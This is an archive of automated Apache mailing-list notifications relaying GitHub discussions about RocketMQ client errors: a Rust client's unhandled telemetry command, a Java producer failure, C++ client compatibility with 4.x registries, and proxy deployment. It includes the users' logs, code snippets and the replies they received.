KrishSinghal1 commented on issue #89: URL: https://github.com/apache/rocketmq-docker/issues/89#issuecomment-2095931495 > The alpine-based image 'eclipse-temurin:8-jdk-alpine' is not supported on aarch64, where Apple M1/M2 chips run:  > > The Adoptium Community is working on the aarch64 support for alpine, but it seems there's no stable image currently: [adoptium/containers#158 (comment)](https://github.com/adoptium/containers/issues/158#issuecomment-1719689081) > > As a workaround, please run `sh build-image.sh RMQ-VERSION centos`. This is mostly the same as what @MaidSG has done. Where do I need to run this command? The dockerfile does this on its own? -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: dev-unsubscr...@rocketmq.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
Re: [D] How do I dynamically create and delete a Topic in C++ or Node? [rocketmq]
GitHub user biningo added a comment to the discussion: How do I dynamically create and delete a Topic in C++ or Node? @JanYork But I don't know if [RIP-17](https://github.com/apache/rocketmq/wiki/RIP-17-RocketMQ-HTTP-Proxy-Support) will add an http api about admin. GitHub link: https://github.com/apache/rocketmq/discussions/8037#discussioncomment-9306665 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] How do I dynamically create and delete a Topic in C++ or Node? [rocketmq]
GitHub user biningo added a comment to the discussion: How do I dynamically create and delete a Topic in C++ or Node? Admin has no sdk for other languages. But I think there are two ways to solve this problem. 1. You can wrap rocketmq-tools to implement the http proxy，and then use other language to request this http api. (it is easy) 2. Implement the RocketMQ protocol in other languages. GitHub link: https://github.com/apache/rocketmq/discussions/8037#discussioncomment-9306593 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] How do I dynamically create and delete a Topic in C++ or Node? [rocketmq]
GitHub user biningo edited a comment on the discussion: How do I dynamically create and delete a Topic in C++ or Node? Admin has no sdk for other languages. But I think there are two ways to solve this problem. 1. You can wrap rocketmq-tools to implement the http proxy，and then use other language to request this http api. (it is easy) 2. Implement the RocketMQ protocol in other languages. GitHub link: https://github.com/apache/rocketmq/discussions/8037#discussioncomment-9306593 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Using rocketmq-client-java send message appears: Expected the service ProducerImpl-0 [FAILED] to be RUNNING, but the service has FAILED [rocketmq]
GitHub user JanYork closed a discussion: Using rocketmq-client-java send message appears: Expected the service ProducerImpl-0 [FAILED] to be RUNNING, but the service has FAILED Has anyone solved or encountered this problem? Am I using it incorrectly? client error：`Using rocketmq-client-java appears: Expected the service ProducerImpl-0 [FAILED] to be RUNNING, but the service has FAILED` server error： ```sh 2024-05-02 13:56:24 ERROR NettyServerCodecThread_6 - decode exception, 192.168.65.1:36332 io.netty.handler.codec.TooLongFrameException: Adjusted frame length exceeds 16777216: 1347569956 - discarded at io.netty.handler.codec.LengthFieldBasedFrameDecoder.fail(LengthFieldBasedFrameDecoder.java:503) at io.netty.handler.codec.LengthFieldBasedFrameDecoder.failIfNecessary(LengthFieldBasedFrameDecoder.java:489) at io.netty.handler.codec.LengthFieldBasedFrameDecoder.exceededFrameLength(LengthFieldBasedFrameDecoder.java:376) at io.netty.handler.codec.LengthFieldBasedFrameDecoder.decode(LengthFieldBasedFrameDecoder.java:419) at org.apache.rocketmq.remoting.netty.NettyDecoder.decode(NettyDecoder.java:44) at io.netty.handler.codec.LengthFieldBasedFrameDecoder.decode(LengthFieldBasedFrameDecoder.java:332) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:507) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:446) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:276) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:379) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:365) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) at org.apache.rocketmq.remoting.netty.NettyRemotingServer$TlsModeHandler.channelRead0(NettyRemotingServer.java:543) at org.apache.rocketmq.remoting.netty.NettyRemotingServer$TlsModeHandler.channelRead0(NettyRemotingServer.java:490) at io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:99) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:379) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:365) at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) at io.netty.handler.codec.ByteToMessageDecoder.handlerRemoved(ByteToMessageDecoder.java:253) at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:514) at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:446) at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:276) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:379) at io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:61) at io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:370) at io.netty.util.concurrent.DefaultEventExecutor.run(DefaultEventExecutor.java:66) at io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:989) at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) at java.lang.Thread.run(Thread.java:750) ``` For more details, please read this issues: [https://github.com/apache/rocketmq-clients/issues/742](https://github.com/apache/rocketmq-clients/issues/742) GitHub link: https://github.com/apache/rocketmq/discussions/8087 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Rocketmq Rust clients: I have an error for "..." while consuming a message. [rocketmq-clients]
GitHub user ppluck closed a discussion: Rocketmq Rust clients: I have an error
for "..." while consuming a message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for topic=test-topic, component: ...
DEBG receive telemetry command: TelemetryCommand { status: Some(Status { code:
Ok, ...
DEBG send heartbeat to server success, peer=...
ERRO \client.rs:196:33] handle telemetry command failed: Failed to parse config
at client.handle_telemetry_command =>
receive telemetry command but there is no handler
Context:
command: Settings(Settings { client_type: Some(SimpleConsumer),
access_point: None, ...
DEBG query route for topic=test-topic success: route=Route { index: 0, queue:
[MessageQueue ...
INFO update route for topic=test-topic, component: client
INFO simple_consumer.rs:99:9] start simple consumer success, client_id: ...
DEBG client.rs:201:25] receive shutdown signal, stop heartbeat task and
telemetry command handler,...
INFO client.rs:206:13] heartbeat task and telemetry command handler are
stopped,...
```
- code:
```rust
let mut consumer_option = SimpleConsumerOption::default();
consumer_option.set_topics(vec!["test-topic"]);
consumer_option.set_consumer_group("CG-test");
// set which rocketmq proxy to connect
let mut client_option = ClientOption::default(); // producer type
client_option.set_access_url("localhost:8081");
client_option.set_access_key("CG-test"); // This is a company agreement
client_option.set_secret_key("CT-"); // This is a company agreement
// build and start simple consumer
let mut consumer = SimpleConsumer::new(consumer_option,
client_option).unwrap();
consumer.start().await.unwrap();
// pop message from rocketmq proxy
let receive_result = consumer
.receive(
"test-topic".to_string(),
::new(FilterType::Tag, "*"),
)
.await;
let messages = receive_result.unwrap();
for message in messages {
println!("receive message: {:?}", message);
// ack message to rocketmq proxy
let ack_result = consumer.ack().await;
}
```
---
supplement：
I found this error while I was debugging.
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
Settings(super::Settings),
ThreadStackTrace(super::ThreadStackTrace),
VerifyMessageResult(super::VerifyMessageResult),
RecoverOrphanedTransactionCommand(super::RecoverOrphanedTransactionCommand),
PrintThreadStackTraceCommand(super::PrintThreadStackTraceCommand),
VerifyMessageCommand(super::VerifyMessageCommand),
```
```rust
async fn handle_telemetry_command(
mut rpc_client: T,
transaction_checker: >,
endpoints: Endpoints,
command: pb::telemetry_command::Command,
) -> Result<(), ClientError> {
return match command {
RecoverOrphanedTransactionCommand(command) => {
let transaction_id = command.transaction_id;
let message = command.message.unwrap();
let message_id = message
.system_properties
.as_ref()
.unwrap()
.message_id
.clone();
let topic = message.topic.as_ref().unwrap().clone();
if let Some(transaction_checker) = transaction_checker {
let resolution = transaction_checker(
transaction_id.clone(),
MessageView::from_pb_message(message, endpoints),
);
let response = rpc_client
.end_transaction(EndTransactionRequest {
topic: Some(topic),
message_id: message_id.to_string(),
transaction_id,
resolution: resolution as i32,
source: TransactionSource::SourceServerCheck as i32,
trace_context: "".to_string(),
})
.await?;
Self::handle_response_status(response.status,
OPERATION_END_TRANSACTION)
} else {
Err(ClientError::new(
ErrorKind::Config,
"failed to get transaction checker",
OPERATION_END_TRANSACTION,
))
}
}
_ => Err(ClientError::new(
ErrorKind::Config,
"receive telemetry command but there is no handler",
OPERATION_HANDLE_TELEMETRY_COMMAND,
)
.with_context("command", format!("{:?}", command))),
};
}
```
GitHub link: https://github.com/apache/rocketmq-clients/discussions/737
This is an
Re: [D] Rocketmq Rust clients: I have an error for "..." while consuming a message. [rocketmq-clients]
GitHub user ppluck deleted a comment on the discussion: Rocketmq Rust clients:
I have an error for "..." while consuming a message.
supplement：
I find that client_type cannot be modified in ClientOption.
```rust
impl Default for ClientOption {
fn default() -> Self {
ClientOption {
client_type: ClientType::Producer,
group: None,
namespace: "".to_string(),
access_url: "localhost:8081".to_string(),
enable_tls: false,
timeout: Duration::from_secs(3),
long_polling_timeout: Duration::from_secs(40),
access_key: None,
secret_key: None,
}
}
}
```
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/737#discussioncomment-9233489
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 不同的消费者订阅同一个topic的不同tag，消息多的tag是否会影响消息少tag的消费速度 [rocketmq]
GitHub user biningo added a comment to the discussion: 不同的消费者订阅同一个topic的不同tag，消息多的tag是否会影响消息少tag的消费速度 同一个消费者组的话，里面的消费者的订阅关系必须是一致的，文档：https://rocketmq.apache.org/docs/bestPractice/05subscribe 你指的是不同的消费者组订阅不同的tag是否会互相影响？这必然不会，每个消费者组都相当于是独立的 GitHub link: https://github.com/apache/rocketmq/discussions/8005#discussioncomment-9242407 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Problem encountered during client connection [rocketmq-clients]
GitHub user mengwuzhi added a comment to the discussion: Problem encountered during client connection I solved it after I deploeyed a proxy component. Thank you very much. GitHub link: https://github.com/apache/rocketmq-clients/discussions/736#discussioncomment-9237813 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] rocketmq5.0.1客户端可以连接4.x的注册中心吗? [rocketmq-clients]
GitHub user cgeffect edited a discussion: rocketmq5.0.1客户端可以连接4.x的注册中心吗?
在执行 rocketmq::ProducerBuilder::build()代码时, 报了下面的日志信息
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:292
[2024/04/26-14:52:29.196 +08:00] [rocketmq_logger] [---D---] [thread 16766]
[Outbound] /apache.rocketmq.v2.MessagingService/Telemetry: Buffer: 123bytes
rocketmq5/build/rocketmq-clients/cpp/source/client/LogInterceptor.cpp:63
[2024/04/26-14:52:29.205 +08:00] [rocketmq_logger] [---D---] [thread 17671]
[Inbound]Response metadata of /apache.rocketmq.v2.MessagingService/Telemetry is
empty rocketmq5/build/rocketmq-clients/cpp/source/client/LogInterceptor.cpp:79
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---D---] [thread 17671]
OnWriteDone: false
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:67
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---W---] [thread 17671]
Failed to write telemetry command settings {
client_type: PRODUCER
access_point {
scheme: IPv4
addresses {
host: "xxx.xx.xx.xx"
port:
}
}
request_timeout {
seconds: 3
}
publishing {
topics {
name: ""
}
max_body_size: 4194304
}
user_agent {
language: CPP
version: "5.0.0"
platform: "Linux 64-bit"
hostname: "xx"
}
}
to ipv4:xxx.xx.xx.xx:
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:77
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---I---] [thread 17671]
ipv4:xxx.xx.xx.xx:#fireClose
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:297
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---D---] [thread 17671]
ipv4:xxx.xx.xx.xx:#OnDone, status.ok=false
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:329
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---W---] [thread 17671]
ipv4:xxx.xx.xx.xx:#OnDone, status.error_code=14,
status.error_message=failed to connect to all addresses, status.error_details=
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:331
然后程序就一直卡主, 每隔一段时间打印一次下面的日志
[2024/04/26-15:09:50.091 +08:00] [rocketmq_logger] [---I---] [thread 17632]
Execute task: heartbeat-task. Use-count: 2
rocketmq5/build/rocketmq-clients/cpp/source/scheduler/SchedulerImpl.cpp:165
客户端CPP_V4_6_0 可以连接 5.x云消息注册中心, 但是CPP_V5_1_3 版本不能连接 4.x的注册中心, 是这样吗?
GitHub link: https://github.com/apache/rocketmq-clients/discussions/733
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Problem encountered during client connection [rocketmq-clients]
GitHub user mengwuzhi added a comment to the discussion: Problem encountered during client connection I downloaded the java codes from this repository(https://github.com/apache/rocketmq-clients/tree/master/java), and use the example class to connect the rocketMQ server. I don't know much about grpc, I just want to test the rocketMQ server. According to the description on the official website，I can start broker and proxy by excute the command: "nohup sh bin/mqbroker -n localhost:9876 --enable-proxy &". But I am using windows, the command "mqbroker.cmd -n localhost:9876 --enabe-proxy" can't work.  So I don't know how to deploy a proxy component...Can you direct me? GitHub link: https://github.com/apache/rocketmq-clients/discussions/736#discussioncomment-9233879 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Problem encountered during client connection [rocketmq-clients]
GitHub user leizhiyuan added a comment to the discussion: Problem encountered during client connection it seems you use grpc client to connect the remoting server you need deploy proxy component ,and connect the proxy GitHub link: https://github.com/apache/rocketmq-clients/discussions/736#discussioncomment-9233610 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Rust clients: I have an error for "...receive telemetry command but there is no handler..." while consuming a message. [rocketmq-clients]
GitHub user ppluck edited a discussion: Rust clients: I have an error for
"...receive telemetry command but there is no handler..." while consuming a
message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for topic=test-topic, component: ...
DEBG receive telemetry command: TelemetryCommand { status: Some(Status { code:
Ok, ...
DEBG send heartbeat to server success, peer=...
ERRO \client.rs:196:33] handle telemetry command failed: Failed to parse config
at client.handle_telemetry_command =>
receive telemetry command but there is no handler
Context:
command: Settings(Settings { client_type: Some(SimpleConsumer),
access_point: None, ...
DEBG query route for topic=test-topic success: route=Route { index: 0, queue:
[MessageQueue ...
INFO update route for topic=test-topic, component: client
INFO simple_consumer.rs:99:9] start simple consumer success, client_id: ...
DEBG client.rs:201:25] receive shutdown signal, stop heartbeat task and
telemetry command handler,...
INFO client.rs:206:13] heartbeat task and telemetry command handler are
stopped,...
```
- code:
```rust
let mut consumer_option = SimpleConsumerOption::default();
consumer_option.set_topics(vec!["test-topic"]);
consumer_option.set_consumer_group("CG-test");
// set which rocketmq proxy to connect
let mut client_option = ClientOption::default(); // producer type
client_option.set_access_url("localhost:8081");
client_option.set_access_key("CG-test"); // This is a company agreement
client_option.set_secret_key("CT-"); // This is a company agreement
// build and start simple consumer
let mut consumer = SimpleConsumer::new(consumer_option,
client_option).unwrap();
consumer.start().await.unwrap();
// pop message from rocketmq proxy
let receive_result = consumer
.receive(
"test-topic".to_string(),
::new(FilterType::Tag, "*"),
)
.await;
let messages = receive_result.unwrap();
for message in messages {
println!("receive message: {:?}", message);
// ack message to rocketmq proxy
let ack_result = consumer.ack().await;
}
```
---
supplement：
I found this error while I was debugging.
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
Settings(super::Settings),
ThreadStackTrace(super::ThreadStackTrace),
VerifyMessageResult(super::VerifyMessageResult),
RecoverOrphanedTransactionCommand(super::RecoverOrphanedTransactionCommand),
PrintThreadStackTraceCommand(super::PrintThreadStackTraceCommand),
VerifyMessageCommand(super::VerifyMessageCommand),
```
```rust
async fn handle_telemetry_command(
mut rpc_client: T,
transaction_checker: >,
endpoints: Endpoints,
command: pb::telemetry_command::Command,
) -> Result<(), ClientError> {
return match command {
RecoverOrphanedTransactionCommand(command) => {
let transaction_id = command.transaction_id;
let message = command.message.unwrap();
let message_id = message
.system_properties
.as_ref()
.unwrap()
.message_id
.clone();
let topic = message.topic.as_ref().unwrap().clone();
if let Some(transaction_checker) = transaction_checker {
let resolution = transaction_checker(
transaction_id.clone(),
MessageView::from_pb_message(message, endpoints),
);
let response = rpc_client
.end_transaction(EndTransactionRequest {
topic: Some(topic),
message_id: message_id.to_string(),
transaction_id,
resolution: resolution as i32,
source: TransactionSource::SourceServerCheck as i32,
trace_context: "".to_string(),
})
.await?;
Self::handle_response_status(response.status,
OPERATION_END_TRANSACTION)
} else {
Err(ClientError::new(
ErrorKind::Config,
"failed to get transaction checker",
OPERATION_END_TRANSACTION,
))
}
}
_ => Err(ClientError::new(
ErrorKind::Config,
"receive telemetry command but there is no handler",
OPERATION_HANDLE_TELEMETRY_COMMAND,
)
.with_context("command", format!("{:?}", command))),
};
}
```
GitHub link:
Re: [D] Rocketmq Rust clients: I have an error for "..." while consuming a message. [rocketmq-clients]
GitHub user ppluck edited a discussion: Rocketmq Rust clients: I have an error
for "..." while consuming a message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for topic=test-topic, component: ...
DEBG receive telemetry command: TelemetryCommand { status: Some(Status { code:
Ok, ...
DEBG send heartbeat to server success, peer=...
ERRO \client.rs:196:33] handle telemetry command failed: Failed to parse config
at client.handle_telemetry_command =>
receive telemetry command but there is no handler
Context:
command: Settings(Settings { client_type: Some(SimpleConsumer),
access_point: None, ...
DEBG query route for topic=test-topic success: route=Route { index: 0, queue:
[MessageQueue ...
INFO update route for topic=test-topic, component: client
INFO simple_consumer.rs:99:9] start simple consumer success, client_id: ...
DEBG client.rs:201:25] receive shutdown signal, stop heartbeat task and
telemetry command handler,...
INFO client.rs:206:13] heartbeat task and telemetry command handler are
stopped,...
```
- code:
```rust
let mut consumer_option = SimpleConsumerOption::default();
consumer_option.set_topics(vec!["test-topic"]);
consumer_option.set_consumer_group("CG-test");
// set which rocketmq proxy to connect
let mut client_option = ClientOption::default(); // producer type
client_option.set_access_url("localhost:8081");
client_option.set_access_key("CG-test"); // This is a company agreement
client_option.set_secret_key("CT-"); // This is a company agreement
// build and start simple consumer
let mut consumer = SimpleConsumer::new(consumer_option,
client_option).unwrap();
consumer.start().await.unwrap();
// pop message from rocketmq proxy
let receive_result = consumer
.receive(
"test-topic".to_string(),
::new(FilterType::Tag, "*"),
)
.await;
let messages = receive_result.unwrap();
for message in messages {
println!("receive message: {:?}", message);
// ack message to rocketmq proxy
let ack_result = consumer.ack().await;
}
```
---
supplement：
I found this error while I was debugging.
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
Settings(super::Settings),
ThreadStackTrace(super::ThreadStackTrace),
VerifyMessageResult(super::VerifyMessageResult),
RecoverOrphanedTransactionCommand(super::RecoverOrphanedTransactionCommand),
PrintThreadStackTraceCommand(super::PrintThreadStackTraceCommand),
VerifyMessageCommand(super::VerifyMessageCommand),
```
```rust
async fn handle_telemetry_command(
mut rpc_client: T,
transaction_checker: >,
endpoints: Endpoints,
command: pb::telemetry_command::Command,
) -> Result<(), ClientError> {
return match command {
RecoverOrphanedTransactionCommand(command) => {
let transaction_id = command.transaction_id;
let message = command.message.unwrap();
let message_id = message
.system_properties
.as_ref()
.unwrap()
.message_id
.clone();
let topic = message.topic.as_ref().unwrap().clone();
if let Some(transaction_checker) = transaction_checker {
let resolution = transaction_checker(
transaction_id.clone(),
MessageView::from_pb_message(message, endpoints),
);
let response = rpc_client
.end_transaction(EndTransactionRequest {
topic: Some(topic),
message_id: message_id.to_string(),
transaction_id,
resolution: resolution as i32,
source: TransactionSource::SourceServerCheck as i32,
trace_context: "".to_string(),
})
.await?;
Self::handle_response_status(response.status,
OPERATION_END_TRANSACTION)
} else {
Err(ClientError::new(
ErrorKind::Config,
"failed to get transaction checker",
OPERATION_END_TRANSACTION,
))
}
}
_ => Err(ClientError::new(
ErrorKind::Config,
"receive telemetry command but there is no handler",
OPERATION_HANDLE_TELEMETRY_COMMAND,
)
.with_context("command", format!("{:?}", command))),
};
}
```
GitHub link: https://github.com/apache/rocketmq-clients/discussions/737
This is an
Re: [D] Rust clients: I have an error for "..." while consuming a message. [rocketmq-clients]
GitHub user ppluck edited a discussion: Rust clients: I have an error for "..."
while consuming a message.
I need your help. thanks!
---
- rmq cluster: 5.0
- the log:
```text
INFO create session success, peer: ...
DEBG start session success, peer: ...
DEBG query route for topic=test-topic, component: ...
DEBG receive telemetry command: TelemetryCommand { status: Some(Status { code:
Ok, ...
DEBG send heartbeat to server success, peer=...
ERRO \client.rs:196:33] handle telemetry command failed: Failed to parse config
at client.handle_telemetry_command =>
receive telemetry command but there is no handler
Context:
command: Settings(Settings { client_type: Some(SimpleConsumer),
access_point: None, ...
DEBG query route for topic=test-topic success: route=Route { index: 0, queue:
[MessageQueue ...
INFO update route for topic=test-topic, component: client
INFO simple_consumer.rs:99:9] start simple consumer success, client_id: ...
DEBG client.rs:201:25] receive shutdown signal, stop heartbeat task and
telemetry command handler,...
INFO client.rs:206:13] heartbeat task and telemetry command handler are
stopped,...
```
- code:
```rust
let mut consumer_option = SimpleConsumerOption::default();
consumer_option.set_topics(vec!["test-topic"]);
consumer_option.set_consumer_group("CG-test");
// set which rocketmq proxy to connect
let mut client_option = ClientOption::default(); // producer type
client_option.set_access_url("localhost:8081");
client_option.set_access_key("CG-test"); // This is a company agreement
client_option.set_secret_key("CT-"); // This is a company agreement
// build and start simple consumer
let mut consumer = SimpleConsumer::new(consumer_option,
client_option).unwrap();
consumer.start().await.unwrap();
// pop message from rocketmq proxy
let receive_result = consumer
.receive(
"test-topic".to_string(),
::new(FilterType::Tag, "*"),
)
.await;
let messages = receive_result.unwrap();
for message in messages {
println!("receive message: {:?}", message);
// ack message to rocketmq proxy
let ack_result = consumer.ack().await;
}
```
---
supplement：
I found this error while I was debugging.
client.rs 285, here method only mathed RecoverOrphanedTransactionCommand，
actually has others：
```rust
Settings(super::Settings),
ThreadStackTrace(super::ThreadStackTrace),
VerifyMessageResult(super::VerifyMessageResult),
RecoverOrphanedTransactionCommand(super::RecoverOrphanedTransactionCommand),
PrintThreadStackTraceCommand(super::PrintThreadStackTraceCommand),
VerifyMessageCommand(super::VerifyMessageCommand),
```
```rust
async fn handle_telemetry_command(
mut rpc_client: T,
transaction_checker: >,
endpoints: Endpoints,
command: pb::telemetry_command::Command,
) -> Result<(), ClientError> {
return match command {
RecoverOrphanedTransactionCommand(command) => {
let transaction_id = command.transaction_id;
let message = command.message.unwrap();
let message_id = message
.system_properties
.as_ref()
.unwrap()
.message_id
.clone();
let topic = message.topic.as_ref().unwrap().clone();
if let Some(transaction_checker) = transaction_checker {
let resolution = transaction_checker(
transaction_id.clone(),
MessageView::from_pb_message(message, endpoints),
);
let response = rpc_client
.end_transaction(EndTransactionRequest {
topic: Some(topic),
message_id: message_id.to_string(),
transaction_id,
resolution: resolution as i32,
source: TransactionSource::SourceServerCheck as i32,
trace_context: "".to_string(),
})
.await?;
Self::handle_response_status(response.status,
OPERATION_END_TRANSACTION)
} else {
Err(ClientError::new(
ErrorKind::Config,
"failed to get transaction checker",
OPERATION_END_TRANSACTION,
))
}
}
_ => Err(ClientError::new(
ErrorKind::Config,
"receive telemetry command but there is no handler",
OPERATION_HANDLE_TELEMETRY_COMMAND,
)
.with_context("command", format!("{:?}", command))),
};
}
```
GitHub link: https://github.com/apache/rocketmq-clients/discussions/737
This is an
Re: [D] Rust clients: I have an error for "..." while consuming a message. [rocketmq-clients]
GitHub user ppluck added a comment to the discussion: Rust clients: I have an
error for "..." while consuming a message.
supplement：
I find that client_type cannot be modified in ClientOption.
```rust
impl Default for ClientOption {
fn default() -> Self {
ClientOption {
client_type: ClientType::Producer,
group: None,
namespace: "".to_string(),
access_url: "localhost:8081".to_string(),
enable_tls: false,
timeout: Duration::from_secs(3),
long_polling_timeout: Duration::from_secs(40),
access_key: None,
secret_key: None,
}
}
}
```
GitHub link:
https://github.com/apache/rocketmq-clients/discussions/737#discussioncomment-9233489
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] rocketmq5.0.1客户端可以连接4.x的注册中心吗? [rocketmq-clients]
GitHub user cgeffect edited a discussion: rocketmq5.0.1客户端可以连接4.x的注册中心吗?
在执行 rocketmq::ProducerBuilder::build()代码时, 报了下面的日志信息
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:292
[2024/04/26-14:52:29.196 +08:00] [rocketmq_logger] [---D---] [thread 16766]
[Outbound] /apache.rocketmq.v2.MessagingService/Telemetry: Buffer: 123bytes
rocketmq5/build/rocketmq-clients/cpp/source/client/LogInterceptor.cpp:63
[2024/04/26-14:52:29.205 +08:00] [rocketmq_logger] [---D---] [thread 17671]
[Inbound]Response metadata of /apache.rocketmq.v2.MessagingService/Telemetry is
empty rocketmq5/build/rocketmq-clients/cpp/source/client/LogInterceptor.cpp:79
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---D---] [thread 17671]
OnWriteDone: false
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:67
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---W---] [thread 17671]
Failed to write telemetry command settings {
client_type: PRODUCER
access_point {
scheme: IPv4
addresses {
host: "xxx.xx.xx.xx"
port:
}
}
request_timeout {
seconds: 3
}
publishing {
topics {
name: ""
}
max_body_size: 4194304
}
user_agent {
language: CPP
version: "5.0.0"
platform: "Linux 64-bit"
hostname: "xx"
}
}
to ipv4:xxx.xx.xx.xx:
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:77
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---I---] [thread 17671]
ipv4:xxx.xx.xx.xx:#fireClose
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:297
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---D---] [thread 17671]
ipv4:xxx.xx.xx.xx:#OnDone, status.ok=false
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:329
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---W---] [thread 17671]
ipv4:xxx.xx.xx.xx:#OnDone, status.error_code=14,
status.error_message=failed to connect to all addresses, status.error_details=
rocketmq5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:331
然后程序就一直卡主, 每隔一段时间打印一次下面的日志
[2024/04/26-15:09:50.091 +08:00] [rocketmq_logger] [---I---] [thread 17632]
Execute task: heartbeat-task. Use-count: 2
rocketmq5/build/rocketmq-clients/cpp/source/scheduler/SchedulerImpl.cpp:165
5.x的cpp rocketmq可以接受4.x的的mq 发送过来的消息, 但是5.x的cpp mq似乎不能去注册到4.x的注册中心
GitHub link: https://github.com/apache/rocketmq-clients/discussions/733
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] rocketmq5.0.1客户端可以连接4.x的注册中心吗? [rocketmq-clients]
GitHub user cgeffect edited a discussion: rocketmq5.0.1客户端可以连接4.x的注册中心吗?
在执行 rocketmq::ProducerBuilder::build()代码时, 报了下面的日志信息
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:292
[2024/04/26-14:52:29.196 +08:00] [rocketmq_logger] [---D---] [thread 16766]
[Outbound] /apache.rocketmq.v2.MessagingService/Telemetry: Buffer: 123bytes
rocketmq_5/build/rocketmq-clients/cpp/source/client/LogInterceptor.cpp:63
[2024/04/26-14:52:29.205 +08:00] [rocketmq_logger] [---D---] [thread 17671]
[Inbound]Response metadata of /apache.rocketmq.v2.MessagingService/Telemetry is
empty rocketmq_5/build/rocketmq-clients/cpp/source/client/LogInterceptor.cpp:79
[2024/04/26-14:52:29.206 +08:00] [rocketmq_logger] [---D---] [thread 17671]
OnWriteDone: false
rocketmq_5/build/rocketmq-clients/cpp/source/client/TelemetryBidiReactor.cpp:67
